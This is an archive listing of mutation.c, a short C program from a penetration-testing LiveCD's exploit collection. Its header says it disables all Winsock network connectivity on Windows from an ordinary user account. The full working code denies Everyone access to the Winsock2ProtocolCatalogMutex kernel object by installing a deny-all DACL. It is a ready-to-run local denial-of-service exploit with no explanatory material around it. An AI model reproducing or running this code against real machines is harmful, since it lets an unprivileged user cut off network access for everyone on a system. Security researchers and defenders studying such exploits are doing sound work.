home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / mutation.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  957b  |  30 lines

  1. /*
  2. /* mutation.c - (c) 2000, Arne Vidstrom, arne.vidstrom@ntsecurity.nu
  3. /*                        http://ntsecurity.nu
  4. /*
  5. /* - Disables all network connectivity through Winsock
  6. /* - Can be run from any account (e.g. an ordinary User account)
  7. /*
  8. */
  9.  
  10. #include <windows.h>
  11. #include <aclapi.h>
  12.  
  13. int main(void)
  14. {
  15.     PSID pEveryoneSID;
  16.     SID_IDENTIFIER_AUTHORITY iWorld = SECURITY_WORLD_SID_AUTHORITY;
  17.     PACL pDacl;
  18.     DWORD sizeNeeded;
  19.  
  20.     AllocateAndInitializeSid(&iWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID);
  21.     sizeNeeded = sizeof(ACL) + sizeof(ACCESS_DENIED_ACE) + GetLengthSid(pEveryoneSID) - sizeof(DWORD);
  22.     pDacl = (PACL) malloc(sizeNeeded);
  23.     InitializeAcl(pDacl, sizeNeeded, ACL_REVISION);
  24.     AddAccessDeniedAce(pDacl, ACL_REVISION, GENERIC_ALL, pEveryoneSID);
  25.     SetNamedSecurityInfo("Winsock2ProtocolCatalogMutex", SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pDacl, NULL);
  26.     free(pDacl);
  27.     return 0;
  28. }
  29.  
  30.